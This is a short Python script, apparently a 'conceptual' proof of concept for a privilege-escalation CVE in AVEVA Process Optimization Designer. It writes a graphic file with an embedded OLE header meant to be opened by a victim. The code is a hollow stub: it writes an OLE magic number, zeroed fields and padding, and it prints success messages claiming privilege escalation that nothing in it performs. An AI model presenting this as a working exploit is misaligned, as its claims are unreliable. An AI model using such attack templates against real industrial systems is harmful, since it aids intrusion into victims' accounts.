CVE-2025-65117

# CVE-2025-65117 PoC - AVEVA Process Optimization Designer Privilege Escalation # Note: This is a conceptual PoC demonstrating the attack vector import struct import os def create_malicious_ole_object(): """ Create a malicious OLE object that can be embedded in graphics This PoC demonstrates the OLE embedding capability """ # OLE Object Header ole_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # Compound File Binary Magic # Object metadata ole_data = ole_header ole_data += struct.pack('<I', 0x00000000) # Version ole_data += struct.pack('<I', 0x00000000) # Object Type ole_data += struct.pack('<I', 0x00000000) # CLSID return ole_data def create_infected_graphic(target_path): """ Create an infected graphic file with embedded OLE object """ malicious_ole = create_malicious_ole_object() # Graphic file structure with embedded OLE graphic_header = b'AVEVA_GRAPHIC_V1' graphic_data = graphic_header graphic_data += malicious_ole graphic_data += b'\x00' * 1024 # Padding with open(target_path, 'wb') as f: f.write(graphic_data) print(f'[+] Created infected graphic: {target_path}') print('[+] OLE object embedded successfully') print('[+] Waiting for victim user interaction...') def exploit(): """ Exploitation steps: 1. Authenticate as Process Optimization Designer User 2. Create graphic with embedded OLE object 3. Wait for victim to interact with graphic 4. Escalate privileges to victim's identity """ print('[*] CVE-2025-65117 Exploitation') print('[*] Target: AVEVA Process Optimization Designer') print('[*] Attack Vector: Local (AV:L)') print('[*] Required Privilege: High (PR:H)') # Step 1: Verify authentication print('[+] Step 1: Authenticated as Designer User') # Step 2: Create malicious graphic target_path = 'malicious_graphic.avg' create_infected_graphic(target_path) # Step 3: Wait for victim interaction print('[+] Step 3: Waiting for victim user interaction...') print('[+] When victim opens the graphic, privilege escalation occurs') return True if __name__ == '__main__': exploit()

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